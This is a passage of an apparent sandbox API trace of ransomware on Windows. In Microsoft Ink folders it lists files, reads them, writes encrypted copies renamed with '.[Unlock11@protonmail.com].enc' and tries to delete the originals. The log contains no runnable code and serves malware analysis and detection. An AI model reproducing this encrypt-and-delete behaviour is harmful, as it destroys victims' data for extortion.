lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0123.131] GetLastError () returned 0x5 [0123.132] GetCurrentThreadId () returned 0x9b0 [0123.132] GetLastError () returned 0x5 [0123.132] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.132] GetLastError () returned 0x5 [0123.132] GetCurrentThreadId () returned 0x9b0 [0123.132] GetLastError () returned 0x5 [0123.132] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0123.132] GetLastError () returned 0x5 [0123.132] GetCurrentThreadId () returned 0x9b0 [0123.132] GetLastError () returned 0x5 [0123.132] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0123.133] GetLastError () returned 0x12 [0123.133] GetCurrentThreadId () returned 0x9b0 [0123.133] GetLastError () returned 0x12 [0123.133] GetLastError () returned 0x12 [0123.133] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0123.133] GetCurrentThreadId () returned 0x9b0 [0123.133] GetLastError () returned 0x12 [0123.133] GetLastError () returned 0x12 [0123.133] GetLastError () returned 0x12 [0123.133] GetLastError () returned 0x12 [0123.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.134] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0123.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0123.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0123.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.134] GetLastError () returned 0x12 [0123.134] GetLastError () returned 0x12 [0123.134] GetLastError () returned 0x12 [0123.134] GetLastError () returned 0x12 [0123.134] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpFilePart=0x9bada4*="oskpredbase.xml") returned 0x58 [0123.135] GetCurrentThreadId () returned 0x9b0 [0123.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.135] GetCurrentThreadId () returned 0x9b0 [0123.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac60 [0123.135] GetLastError () returned 0x0 [0123.135] GetLastError () returned 0x0 [0123.135] GetLastError () returned 0x0 [0123.136] GetLastError () returned 0x0 [0123.136] GetCurrentThreadId () returned 0x9b0 [0123.136] GetLastError () returned 0x0 [0123.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac60 | out: hHeap=0x2ad0000) returned 1 [0123.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab48 [0123.136] GetLastError () returned 0x0 [0123.136] GetLastError () returned 0x0 [0123.136] GetLastError () returned 0x0 [0123.136] GetLastError () returned 0x0 [0123.136] GetCurrentThreadId () returned 0x9b0 [0123.136] GetLastError () returned 0x0 [0123.137] GetCurrentThreadId () returned 0x9b0 [0123.137] GetLastError () returned 0x0 [0123.137] GetLastError () returned 0x0 [0123.137] GetLastError () returned 0x0 [0123.137] GetLastError () returned 0x0 [0123.137] GetCurrentThreadId () returned 0x9b0 [0123.137] GetLastError () returned 0x0 [0123.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab48 | out: hHeap=0x2ad0000) returned 1 [0123.137] GetLastError () returned 0x0 [0123.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0123.137] GetLastError () returned 0x0 [0123.138] GetLastError () returned 0x0 [0123.138] GetLastError () returned 0x0 [0123.138] GetCurrentThreadId () returned 0x9b0 [0123.138] GetLastError () returned 0x0 [0123.138] GetLastError () returned 0x0 [0123.138] GetLastError () returned 0x0 [0123.138] GetLastError () returned 0x0 [0123.138] GetLastError () returned 0x0 [0123.138] GetCurrentThreadId () returned 0x9b0 [0123.138] GetLastError () returned 0x0 [0123.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0123.139] GetLastError () returned 0x0 [0123.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0123.139] GetLastError () returned 0x0 [0123.139] GetLastError () returned 0x0 [0123.139] GetLastError () returned 0x0 [0123.139] GetCurrentThreadId () returned 0x9b0 [0123.139] GetLastError () returned 0x0 [0123.139] GetLastError () returned 0x0 [0123.139] GetLastError () returned 0x0 [0123.139] GetLastError () returned 0x0 [0123.139] GetLastError () returned 0x0 [0123.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.140] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c)) returned 1 [0123.140] GetLastError () returned 0x0 [0123.140] GetCurrentThreadId () returned 0x9b0 [0123.140] GetLastError () returned 0x0 [0123.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0123.140] GetCurrentThreadId () returned 0x9b0 [0123.140] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0123.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0123.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0123.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0123.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0123.141] GetCurrentThreadId () returned 0x9b0 [0123.141] GetLastError () returned 0x0 [0123.141] GetLastError () returned 0x0 [0123.141] GetLastError () returned 0x0 [0123.141] GetLastError () returned 0x0 [0123.141] GetCurrentThreadId () returned 0x9b0 [0123.141] GetLastError () returned 0x0 [0123.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0123.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0123.142] GetLastError () returned 0x0 [0123.142] GetLastError () returned 0x0 [0123.142] GetLastError () returned 0x0 [0123.142] GetLastError () returned 0x0 [0123.142] GetCurrentThreadId () returned 0x9b0 [0123.142] GetLastError () returned 0x0 [0123.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0123.142] GetCurrentThreadId () returned 0x9b0 [0123.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0123.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3c68 | out: hHeap=0x2ad0000) returned 1 [0123.143] GetLastError () returned 0x0 [0123.143] GetLastError () returned 0x0 [0123.143] GetLastError () returned 0x0 [0123.143] GetLastError () returned 0x0 [0123.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a78 [0123.143] GetLastError () returned 0x0 [0123.143] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.143] GetFileType (hFile=0x39c) returned 0x1 [0123.144] GetLastError () returned 0x0 [0123.144] GetCurrentThreadId () returned 0x9b0 [0123.144] GetLastError () returned 0x0 [0123.144] GetFileType (hFile=0x39c) returned 0x1 [0123.144] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.144] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.144] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.144] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.144] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.144] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.144] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.144] GetLastError () returned 0x0 [0123.145] GetCurrentThreadId () returned 0x9b0 [0123.145] GetLastError () returned 0x0 [0123.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0123.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0123.145] GetLastError () returned 0x0 [0123.145] GetLastError () returned 0x0 [0123.145] GetLastError () returned 0x0 [0123.145] GetLastError () returned 0x0 [0123.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a08 [0123.145] GetLastError () returned 0x0 [0123.145] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.146] GetFileType (hFile=0x3ac) returned 0x1 [0123.147] GetLastError () returned 0x0 [0123.147] GetCurrentThreadId () returned 0x9b0 [0123.147] GetLastError () returned 0x0 [0123.147] GetFileType (hFile=0x3ac) returned 0x1 [0123.147] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.147] GetLastError () returned 0x0 [0123.148] GetCurrentThreadId () returned 0x9b0 [0123.148] GetLastError () returned 0x0 [0123.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0123.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbb90 | out: hHeap=0x2ad0000) returned 1 [0123.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.148] GetLastError () returned 0x0 [0123.149] GetLastError () returned 0x0 [0123.149] GetCurrentThreadId () returned 0x9b0 [0123.149] GetLastError () returned 0x0 [0123.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.149] GetLastError () returned 0x0 [0123.149] GetLastError () returned 0x0 [0123.149] GetCurrentThreadId () returned 0x9b0 [0123.149] GetLastError () returned 0x0 [0123.149] GetLastError () returned 0x0 [0123.151] GetLastError () returned 0x0 [0123.151] GetCurrentThreadId () returned 0x9b0 [0123.151] GetLastError () returned 0x0 [0123.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3b8) returned 0x3265248 [0123.151] GetCurrentThreadId () returned 0x9b0 [0123.151] GetLastError () returned 0x0 [0123.151] GetLastError () returned 0x0 [0123.151] GetLastError () returned 0x0 [0123.151] GetLastError () returned 0x0 [0123.152] GetCurrentThreadId () returned 0x9b0 [0123.152] GetLastError () returned 0x0 [0123.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0123.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.152] GetLastError () returned 0x0 [0123.152] GetLastError () returned 0x0 [0123.152] GetCurrentThreadId () returned 0x9b0 [0123.152] GetLastError () returned 0x0 [0123.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6358 | out: hHeap=0x2ad0000) returned 1 [0123.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8908 [0123.153] GetLastError () returned 0x0 [0123.153] GetLastError () returned 0x0 [0123.153] GetCurrentThreadId () returned 0x9b0 [0123.153] GetLastError () returned 0x0 [0123.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8908 | out: hHeap=0x2ad0000) returned 1 [0123.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.153] GetLastError () returned 0x0 [0123.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0123.154] CloseHandle (hObject=0x3ac) returned 1 [0123.154] GetLastError () returned 0x0 [0123.154] GetCurrentThreadId () returned 0x9b0 [0123.155] GetLastError () returned 0x0 [0123.155] GetLastError () returned 0x0 [0123.155] CloseHandle (hObject=0x39c) returned 1 [0123.155] GetLastError () returned 0x0 [0123.155] GetCurrentThreadId () returned 0x9b0 [0123.155] GetLastError () returned 0x0 [0123.155] GetLastError () returned 0x0 [0123.155] GetLastError () returned 0x0 [0123.155] GetLastError () returned 0x0 [0123.155] GetLastError () returned 0x0 [0123.156] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0 [0123.156] GetLastError () returned 0x5 [0123.156] GetCurrentThreadId () returned 0x9b0 [0123.156] GetLastError () returned 0x5 [0123.156] GetLastError () returned 0x5 [0123.156] GetLastError () returned 0x5 [0123.156] GetLastError () returned 0x5 [0123.156] LocalFree (hMem=0x1053c90) returned 0x0 [0123.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.157] GetCurrentThreadId () returned 0x9b0 [0123.157] GetLastError () returned 0x5 [0123.157] GetLastError () returned 0x5 [0123.157] GetLastError () returned 0x5 [0123.157] GetLastError () returned 0x5 [0123.157] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0123.157] GetLastError () returned 0x5 [0123.157] GetCurrentThreadId () returned 0x9b0 [0123.157] GetLastError () returned 0x5 [0123.157] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.158] GetLastError () returned 0x5 [0123.158] GetCurrentThreadId () returned 0x9b0 [0123.158] GetLastError () returned 0x5 [0123.158] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0123.158] GetLastError () returned 0x5 [0123.158] GetCurrentThreadId () returned 0x9b0 [0123.158] GetLastError () returned 0x5 [0123.158] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0123.158] GetLastError () returned 0x5 [0123.158] GetCurrentThreadId () returned 0x9b0 [0123.158] GetLastError () returned 0x5 [0123.158] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0123.159] GetLastError () returned 0x5 [0123.159] GetCurrentThreadId () returned 0x9b0 [0123.159] GetLastError () returned 0x5 [0123.159] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0123.159] GetLastError () returned 0x12 [0123.159] GetCurrentThreadId () returned 0x9b0 [0123.159] GetLastError () returned 0x12 [0123.159] GetLastError () returned 0x12 [0123.159] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0123.159] GetLastError () returned 0x12 [0123.159] GetLastError () returned 0x12 [0123.159] GetLastError () returned 0x12 [0123.160] GetLastError () returned 0x12 [0123.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.160] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0123.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0123.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.160] GetCurrentThreadId () returned 0x9b0 [0123.160] GetLastError () returned 0x12 [0123.160] GetLastError () returned 0x12 [0123.161] GetLastError () returned 0x12 [0123.161] GetLastError () returned 0x12 [0123.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.161] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0123.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0123.161] GetLastError () returned 0x12 [0123.161] GetLastError () returned 0x12 [0123.161] GetLastError () returned 0x12 [0123.161] GetLastError () returned 0x12 [0123.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.162] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0123.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0123.162] GetCurrentThreadId () returned 0x9b0 [0123.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.162] GetLastError () returned 0x12 [0123.162] GetLastError () returned 0x12 [0123.162] GetLastError () returned 0x12 [0123.162] GetLastError () returned 0x12 [0123.162] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFilePart=0x9bada4*="ea-sym.xml") returned 0x53 [0123.163] GetCurrentThreadId () returned 0x9b0 [0123.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea918 [0123.163] GetCurrentThreadId () returned 0x9b0 [0123.163] GetLastError () returned 0x0 [0123.163] GetLastError () returned 0x0 [0123.163] GetLastError () returned 0x0 [0123.164] GetLastError () returned 0x0 [0123.164] GetCurrentThreadId () returned 0x9b0 [0123.164] GetLastError () returned 0x0 [0123.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea918 | out: hHeap=0x2ad0000) returned 1 [0123.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.164] GetLastError () returned 